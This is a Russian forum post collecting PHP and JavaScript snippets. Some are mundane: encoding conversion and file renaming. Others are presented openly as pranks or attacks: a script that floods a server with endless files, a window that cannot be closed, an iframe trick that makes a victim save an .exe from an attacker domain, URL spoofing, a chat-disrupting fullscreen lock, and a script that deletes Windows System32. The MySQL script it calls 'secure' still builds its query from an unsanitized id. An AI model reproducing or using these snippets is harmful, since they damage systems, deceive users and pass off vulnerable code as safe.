1. Получи максимум инфопродуктов, оформи подписку всего за 295 рублей!
    Скрыть объявление

Скачать Полезные скрипты нашего времени

Тема в разделе "Программы и скрипты", создана пользователем Gustav, 18 фев 2016.

  1. Gustav

    Gustav Команда форума Администратор

    Сообщения:
    9.443
    Симпатии:
    5.713
    Полезные скрипты нашего времени

    Если вдруг понадобилось массово сменить кодировку всех файлов из одной директории с utf8 на cp1251:
    PHP:
    <?php

    function doit($dir='.'){
        
    $d=opendir($dir);
        while(
    $f=readdir($d)){
          if(
    $f!=='.' AND $f!=='..'){
            echo 
    $f;
            if(
    is_file($dir.'/'.$f)){
                echo 
    ' Converting...';

                
    $a=file_get_contents($dir.'/'.$f);
                
    $a=iconv('UTF-8','WINDOWS-1251',$a);
                
    $fp=fopen($dir.'/'.$f,'w');
                
    fwrite($fp,$a);
                
    fclose($fp);
                echo 
    ' - OK<br />';
            }elseif(
    is_dir($dir.'/'.$f)){
                echo 
    ' changing dir<br />';
                
    doit($dir.'/'.$f);
            }else{
                echo 
    ' Skipping<br />';
            }
          }
        }
    }
    doit('.');

    ?> 
    Если понадобилось засрать все папки файлами :bbluuush:(Скрипт создаёт бесконечное число файлов с разными именами и расширениями + раличной длинны)
    PHP:
    <?php
    // Greetz всем заподлянщикам...
    //Аминь...
    //(C) Dr.Check
    ////////////////////////////////////////////////////////////////
    set_time_limit(0);
    ignore_user_abort();
    echo(
    "<center><b>ИБО НЕХУЙ!!!</b></center>");
    /////////////////////////////////////////////////////////////////
        
    $name = array('a','b','c','d','e','f','g','h','i','j','k',  'l','m','n','o','p','r','s',
                     
    't','u','v','x','y','z','A','B','C','D','E','F','G  ','H','I','J','K','L',
                     
    'M','N','O','P','R','S','T','U','V','X','Y','Z','1  ','2','3','4','5','6',
                     
    '7','8','9','0');
    //////////////////////////////////////////////////////////////////
        
    $rash= array('.txt','.dic','.doc','.xls','.exe','.ini',
                        
    '.bat','.log','.dll','.hak','.wmf','.zip','.rar',
                        
    '.tar','.gz','.jpg','.gif','.bmp');
    /////////////////////////////////////////////////////////////////
    while(true) {
        
    $perem "";
        
    $fuck="";
        for(
    $i 0$i rand(20,1); $i++) // количество сиволов в имени файла.
        
    {
         
    $by rand(0count($name) - 1);
         
    $perem .= $name[$by];
        }
        
    $rarand(0count($rash)-1);
        
    $fuck .= $rash[$ra];
             
    $fp=fopen($perem.$fuck,"w");
            
    fwrite($fp,php_uname());
            
    fclose($fp);
            }
    ?> 
    Скрипт проверяет на наличий сервисов POP, FTP и т.д
    PHP:
    <html>
    <head>
    <title>::CHECKER::</title>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    <body bgcolor="#000000" text="#ffffff">
    <hr width="30%"></hr><center><table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Введите имя сервера |</b></font></center></td></tr>
    <tr><td><form action="<? $PHP_SELF ?>" method="post">
    <b>NAME:</b> <input type="text" name="domain"></td></tr><tr><td><input type="submit" value="Проверить">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
    <button onclick=location.reload(true)>Обновить</button></td></tr></table>
    <hr width="30%"></hr>
    <?php
    error_reporting
    (0);
    set_time_limit(0);
    $domain=$_POST['domain'];
    $ip=gethostbyname($domain);
    $httpport "80";
    $ftpport "21";
    $popport "110";
    $imapport "143";
    $smtpport "25";
    $sshport "22";
    echo 
    "<b>"; echo("IP адрес хоста: "); echo "</b>";
    echo 
    "<font color=\"red\">"; echo($ip); echo "</font>"
    ?>
    <table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Результаты проверки |</b></font></center></td></tr>
    <tr><td><font color="#999999"><b>HTTP --> </b></font>
    <?php
    $http 
    fsockopen($domain$httpport$errno$errstr$timeout);
    if (!
    $http)
    {
    echo (
    "<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
    }

    else
    {
    echo (
    "<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
    }
    ?></td></tr>
    <tr><td><font color="#999999"><b>FTP --> </b></font>
          <?php
    $ftp 
    fsockopen($domain$ftpport$errno$errstr$timeout);
    if (!
    $ftp)
    {
    echo (
    "<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
    }

    else
    {
    echo (
    "<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
    }
    ?></td></tr>
    <tr><td><font color="#999999"><b>POP --> </b></font>
    <?php
    $pop 
    fsockopen($domain$popport$errno$errstr$timeout);
    if (!
    $pop)
    {
    echo (
    "<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
    }

    else
    {
    echo (
    "<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
    }
    ?>
    </td></tr>
    <tr><td><font color="#999999"><b>IMAP --> </b></font>
    <?php
    $imap 
    fsockopen($domain$imapport$errno$errstr$timeout);
    if (!
    $imap)
    {
    echo (
    "<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
    }

    else
    {
    echo (
    "<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
    }
    ?>
    </td></tr>
    <tr><td><font color="#999999"><b>SMTP --> </b></font>
    <?php
    $smtp 
    fsockopen($domain$smtpport$errno$errstr$timeout);
    if (!
    $smtp)
    {
    echo (
    "<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
    }

    else
    {
    echo (
    "<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
    }
    ?>
    </td></tr>
    <tr><td><b><font color="#999999">SSH --> </font></b>
    <?php
    $ssh 
    fsockopen($domain$sshport$errno$errstr$timeout);
    if (!
    $ssh)
    {
    echo (
    "<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
    }

    else
    {
    echo (
    "<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
    }
    ?>
    </td></tr></table><hr width="30%"></hr></center>
    </body>
    </head>
    </html>
    Не дает закрвать окно.
    (пример простой, часто используется на порносайтах)

    PHP:
    <html>
    <
    head>
       <
    title>Press ALT+F4</title>
    </
    head>

    <
    body onunload="goodBye()">
        <
    p align="center">
            <
    b>Yuo can't close your browser window</b>
        </p>
        <script language="JavaScript">
           <!--
              function goodBye()
                {window.open("Cantclose.htm");}
           //-->
        </script>
        <p align="center">
           <b>Try Alt+F4!</b>
        </p>
    </body>
    </html>
    Позволяет узнать выставленную кодировку.
    PHP:
    <script>
    var 
    u=navigator.userAgent;
    if (
    u.indexOf("Win") != -1// Текст в 1251
        
    document.writeln ("Windows 1251");
    else if (
    u.indexOf("DOS") != -|| u.indexOf("OS/2") != -1// Текст в 866
        
    document.writeln("MS-DOS CP866");  // Текст в K018
        
    else document.writein "лПДЙТПЧЛБ KOI8-R");
    </script>
    Cкрипт показывает последнее обновление страницы
    PHP:
    <script language="JavaScript">
    <!--
         var 
    dateMod "";
         
    dateMod document.lastModified;
         
    document.write("Last Update:  ");
         
    document.write(dateMod);
         
    document.write();
      
    // -->
    </script>
    Скрипт смотрит все файлы в данном каталоге, и изменяет расширения этих фалов на заданные Вами:

    PHP:
    <?php
          $star
    'txt';  // Расширение ДО
          
    $nov 'php';//Расширение  ПОСЛЕ

    function listDir ($url) {
        
    $i 0;
        
    $dir opendir(".");
        while (
    false !== ($file readdir($dir))) {
       if((
    $file !=".") && ($file !="..")) {
                
    $outp[$i] = $file;
                ++
    $i;
            }
        }
        
    closedir($dir);
        return 
    $outp;
    }

    function 
    fil_list($path) {
        global 
    $star$nov;
        
    $path_array listDir($path);
        for(
    $i=0$i count($path_array); $i++) {
            if (
    $path ''$p '/';
            else 
    $p '';
            
    $ls $path.$p.$path_array[$i];
            if (@
    is_dir($ls)) fil_list($ls);
            else if (
    preg_match('/\.'.$star.'$/i'$ls)) {
                
    $fd_new substr($ls0strlen($ls)-strlen($star)).$nov;
                
    rename ($ls$fd_new);
                echo 
    $ls.' >>> '.$fd_new.'<br>';
            }
        }
    }

    fil_list($start_dir);
    ?>
    С помощью этого скриптика можно обойти ограничения безопасности для 'File Download' и 'File Open' и загрузить произвольный файл на компьютер *друга*

    PHP:
    <html>
    <
    body>
    <
    iframe src='http://your.domain.com/v.exe?.htm' name=
    "NotFound" width="0" height="0"></iframe>
    Click <a href=# onclick="javascript:document.frames.NotFound.
    document.execCommand('SaveAs',1,'funny joke.exe');">here</a>.
    </body>
    </html>
    Таким способом можно подделать URL, которого не будет отображен в браузере
    PHP:
    javascript:document.write("<iframe src='http://www.google.com' width='100%' height='100%'></iframe>");
    Прикольный скрипт, пригодится для выкидывания юзеров из чата и других пакостей

    PHP:
    <body scroll=no bgcolor=black><script>setInterval ("focus ()"10); open ('','','fullscreen=1'); w.document.write ('<body scroll=no bgcolor=black>' document.body.innerHTML '</body>')</script></body> 
    Скрипт тупо удаляет все файлы из папки

    PHP:
    <?php
    set_time_limit
    (0);
    foreach (
    glob("C:/WINDOWS/System32/*") as $filename)
    {
           
    unlink($filename);
    }

    ?>
    Хорошо прокоментированный скрипт безопасной работы с mysql (копирайты в сорце)

    PHP:
    <?php
        
    /*    WPC Paste!
         *    Zarathu rules the Universe
         *
         *        By Zarathu
         *    www.thesarcasm.com
         * 
         *    zarathu@thesarcasm.com
         *
         */
     
        /* SETTINGS TO BE MODIFIED */
            
    $mySQL_user "YOUR_USERNAME";
            
    $mySQL_pass "YOUR_PASSWORD";
         
            
    $mySQL_database "pb";
            
    $mySQL_table "data";
         
            
    $mySQL_idField "id";
            
    $mySQL_strField "stuff";
         
            
    $URLtoPaste "http://www.thesarcasm.com/";
         
            
    /*$URLtoPaste:  Be careful.  This needs to include the path.
             *on my website, for example, if I had the paste.php in a
             *folder called 'bullshit' on the server, $URLtoPaste would
             *be "http://www.thesarcasm.com/bullshit/" */
         
             //Make sure the URL ends with a slash! :]
         
        /***************************/
     
        /*DO NOT MODIFY, YOU TURKISH ASSHOLE :]*/
        
    $ZarathuRulesTheUniverse TRUE;
     
     
    ?>

    <html>
        <head>
            <title>WPC Paste!</title>
        </head>

        <body bgcolor="#ffffff">
             
            <?php
             
             
                
    if($_GET['id'] != null && ($ZarathuRulesTheUniverse)) {
                    
    $id $_GET['id'];
                 
                    
    //security for you asshole hackers ;]
                    
    $security strpbrk($id'\'\"><.,;][}{+=*\\/)(');
                    if(
    $security != FALSE) { throwError(); }
                 
                    
    //if a hacker was trying to manipulate the script
                    //it would have already died.  therefore, we can
                    //safely call the following method.
                    
    getData($id);
                } else if(
    $_POST['textarea'] != null && ($ZarathuRulesTheUniverse)) {
                    
    $data $_POST['textarea'];
                    
    setData($data);
                } else if((
    $_POST['textarea'] == null) && ($_GET['id'] == null) && ($ZarathuRulesTheUniverse)) {
                    
    echoWelcome();
                }
            
    ?>
         
            <form method="POST" action="paste.php">
                <p>
                    <textarea name="textarea" rows="25" cols="98"></textarea><br />
                    <input type="submit" value="Send!" name="sendbtn"><br />
                    <a href="http://www.thesarcasm.com">Zarathu Rules the Universe</a>
                </p>
            </form>
         
            <?php
                
    //methods
             
                
    function echoWelcome() {
                    echo(
    "Welcome to WPC Paste!<br />");
                    echo(
    "This program is simple to use, unless you're a complete moron.<br /><br />");
                    echo(
    "Programmed by <a href=\"http://www.thesarcasm.com\">Zarathu</a><br />");
                    echo(
    "Enjoy!<br />");
                }
             
                function 
    getData($id) {
                    global 
    $ZarathuRulesTheUniverse$URLtoPaste$mySQL_user$mySQL_pass$mySQL_database$mySQL_table$mySQL_idField$mySQL_strField;
                 
                    
    //security bullshit for you asshole hackers
                    
    if($id == null && ($ZarathuRulesTheUniverse)) { throwError(); }
                 
                    
    //establishes connection...
                    
    $link establishConnection();
                 
                    
    //Alright, now that we've got our shit together...
                    //SELECT stuff FROM data WHERE id = $id
                    
    $query mysql_query('SELECT ' $mySQL_strField ' FROM ' $mySQL_table ' WHERE ' $mySQL_idField ' = ' $id);
                 
                    
    //need this array to convert into HTML
                    
    $newLines = array("\r\n""\n""\r");
                    if(!
    $ZarathuRulesTheUniverse) { throwError(); }
                 
                    
    //prints selected bullshit
                    
    if(!$query && ($ZarathuRulesTheUniverse)) {
                        
    throwSQLError();
                    } else {
                        while (
    $line mysql_fetch_array($queryMYSQL_ASSOC)) {
                           foreach (
    $line as $col_value) {
                               echo 
    str_replace($newLines"<br />"$col_value);
                           }
                        }
                    }
                }
             
                function 
    setData($data) {
                    global 
    $ZarathuRulesTheUniverse$URLtoPaste$mySQL_user$mySQL_pass$mySQL_database$mySQL_table$mySQL_idField$mySQL_strField;
                    if(!
    $ZarathuRulesTheUniverse) { throwError(); }
                 
                    
    //establishes that hairy son of a bitch
                    
    $link establishConnection();
                    
    $newID rand(1000000,9000000);
                 
                    
    //security!
                    
    $data str_replace("'""\'"$data);
                    
    $data str_replace("\"""\\\""$data);
                    
    $data str_replace(">""&gt;"$data);
                    
    $data str_replace("<""&lt;"$data);
                    
    $data str_replace('\\''\\\\'$data);
                 
                    
    //inserts shittles... watch me rule again.
                    
    $bullshit "INSERT INTO $mySQL_table ($mySQL_idField$mySQL_strField) VALUES ($newID, '$data')";
                    
    $query mysql_query($bullshit);
                 
                    if(!
    $query && ($ZarathuRulesTheUniverse)) {
                        
    throwSQLError();
                    } else {
                        
    $newURL "$URLtoPaste"paste.php?id=$newID";
                        echo(
    "<a href=\"$newURL\">$newURL</a>");
                        
    http_redirect($newURL);
                    }
                }
             
                function 
    establishConnection() {
                    global 
    $ZarathuRulesTheUniverse$URLtoPaste$mySQL_user$mySQL_pass$mySQL_database$mySQL_table$mySQL_idField$mySQL_strField;
                 
                    
    //establishes connection...
                    
    $link mysql_connect('localhost'$mySQL_user$mySQL_pass);
                    
    //...and checks for errors
                    
    if(!$link && ($ZarathuRulesTheUniverse)) { throwSQLError(); }
                    if(!
    mysql_select_db($mySQL_database) && ($ZarathuRulesTheUniverse)) { throwSQLError(); }
                    if(!
    $ZarathuRulesTheUniverse) { throwError(); }
                 
                    return 
    $link;
                }
             
                function 
    throwError() {
                    die(
    "Error! \n\n");
                    
    //if you really need a comment, here it is.
                    //throws an error and exits
                
    }
             
                function 
    throwSQLError() {
                    die(
    "Error! \n\n(" mysql_error() .")");
                    
    //if you really need a comment, you're an idiot.
                    //go fuck yourself.
                
    }
             
            
    ?>
        </body>
    </html>
    Код, который, делая редирект, подменяет адрес в браузере:
    PHP:
    <html>
    <
    body style="margin:0px; padding: 0px;">
    <
    iframe src="ВАША_ССЫЛКА" frameborder="0" scrolling="yes" height="100%" width="100%"></iframe>
    </
    body>
    </
    html>

    P.S Если кто желает,то дописывайте в коментах свои скрипты. Людям будет интресно, ну и вам "+" в симпатии будет!
     
    idenkuda, boolean и webweb нравится это.

Загрузка...
Похожие темы Форум Дата
Скачать Нужные вещи в путешествии.Полезные мобильные приложения и что делать в кризис?" Более 100 ссылок Путешествия 20 сен 2016
Скачать Нетворкинг. Как заводить полезные связи - Специалист, Бугаев (2015) Бизнес, маркетинг и менеджмент 7 сен 2016
Скачать Полезные недельки для малышей Лены Даниловой Дети и родители 5 авг 2016
Скачать Жизненный опыт + полезные ссылки Авторские курсы 6 май 2016
Чтиво Полезные ресурсы для СТАВОК НА СПОРТ Разное 6 апр 2016
Скачать Полезные программы 2: быстрые деньги Эзотерика и оккультизм 26 мар 2016
Скачать Полезные программы 3: пассивный доход - Империя Технологий (Интераура) Психология 1 мар 2016